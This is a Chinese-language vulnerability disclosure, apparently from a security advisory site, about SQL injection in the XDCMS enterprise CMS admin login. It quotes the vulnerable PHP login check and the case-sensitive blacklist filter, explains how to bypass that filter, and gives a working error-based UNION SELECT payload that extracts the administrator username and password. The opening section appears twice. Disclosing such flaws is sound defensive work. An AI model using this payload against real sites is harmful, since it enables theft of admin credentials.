### 简要描述: 最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入 ### 详细说明: 注入在XDCMS企业管理系统的后台登录功能处,来看看\system\modules\xdcms\login.php文件: ``` public function check(){ $username = safe_html($_POST['username']);//获取UserName,使用safe_html函数进行过滤 $password = safe_html($_POST['password']); $verifycode = safe_html($_POST['verifycode']); if(empty($username)||empty($password)){ showmsg(C('user_pass_empty'),'-1'); } if($verifycode!=$_SESSION['code']){ showmsg(C('verifycode_error'),'-1'); } $sql="select * from ".DB_PRE."admin where `username`='$username'";//这里讲UserName带人sql语句中 if($this->mysql->num_rows($sql)==0){ showmsg(C('user_not_exist'),'-1'); } $rs=$this->mysql->get_one($sql); $password=password($password,$rs['encrypt']); if($password!=$rs['password']){ showmsg(C('password_error'),'-1'); } if($rs['is_lock']==1){ showmsg(C('user_lock'),'-1'); } $logins=$rs["logins"]+1; $ip=safe_replace(safe_html(getip()));...
### 简要描述: 最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入 ### 详细说明: 注入在XDCMS企业管理系统的后台登录功能处,来看看\system\modules\xdcms\login.php文件: ``` public function check(){ $username = safe_html($_POST['username']);//获取UserName,使用safe_html函数进行过滤 $password = safe_html($_POST['password']); $verifycode = safe_html($_POST['verifycode']); if(empty($username)||empty($password)){ showmsg(C('user_pass_empty'),'-1'); } if($verifycode!=$_SESSION['code']){ showmsg(C('verifycode_error'),'-1'); } $sql="select * from ".DB_PRE."admin where `username`='$username'";//这里讲UserName带人sql语句中 if($this->mysql->num_rows($sql)==0){ showmsg(C('user_not_exist'),'-1'); } $rs=$this->mysql->get_one($sql); $password=password($password,$rs['encrypt']); if($password!=$rs['password']){ showmsg(C('password_error'),'-1'); } if($rs['is_lock']==1){ showmsg(C('user_lock'),'-1'); } $logins=$rs["logins"]+1; $ip=safe_replace(safe_html(getip())); $this->mysql->db_update("admin","`last_ip`='".$ip."',`last_time`=".datetime().",`logins`=".$logins,"`username`='$username'"); $_SESSION['admin']=$rs['username']; $_SESSION['admin_id']=$rs['id']; $_SESSION['groupid']=$rs['groupid']; unset($rs); showmsg(C("login_success"),"index.php?m=xdcms&c=index"); } ``` 登录时会调用check进行登录验证,查询是否存在此用户,问题就出在login.php的check函数的UserName处。 由于在获取UserName时,通过safe_html进行过滤,来看看safe_html的过滤机制: ``` //安全过滤函数 function safe_html($str){ if(empty($str)){return;} $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/','',$str); return htmlspecialchars($str); } ``` safe_html只是按照小写过滤了常规的SQL注入敏感词以及=和*,但只这里存在缺陷,可绕过限制,进行注入。 我们使用小写SQL语句,并且不实用=和* ### 漏洞证明: 第一步,登录后台 [<img src="https://images.seebug.org/upload/201312/0223093403b3de7d6ce986a8a7b2d4e74e79a9b5.png" alt="admindl1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/0223093403b3de7d6ce986a8a7b2d4e74e79a9b5.png) 第二步,登录时,截断抓包,在UserName处插入单引号'进行测试,发现报错,存在注入 [<img src="https://images.seebug.org/upload/201312/02230943228dd6091e87dee27484ba72cc742663.png" alt="admindl2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/02230943228dd6091e87dee27484ba72cc742663.png) 第三步,我们在UserName处,插入一下EXP: ``` ' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b# ``` [<img src="https://images.seebug.org/upload/201312/022309533dd35046f07cd3609412a92dd2ad1af3.png" alt="admindl3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/022309533dd35046f07cd3609412a92dd2ad1af3.png) 第四步,成功注入出管理员的用户名和密码: [<img src="https://images.seebug.org/upload/201312/02231002f2444383f6373fb3d31f834af4f804ce.png" alt="admindl4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/02231002f2444383f6373fb3d31f834af4f804ce.png)